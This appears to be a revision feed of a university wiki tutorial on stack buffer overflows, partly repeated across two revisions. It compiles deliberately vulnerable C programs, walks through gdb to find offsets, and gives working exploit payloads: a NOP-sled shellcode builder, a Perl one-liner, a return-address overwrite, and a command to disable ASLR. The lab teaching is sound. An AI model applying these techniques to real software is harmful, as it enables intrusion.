Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17008</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17008"/>
		<updated>2024-12-11T18:14:03Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
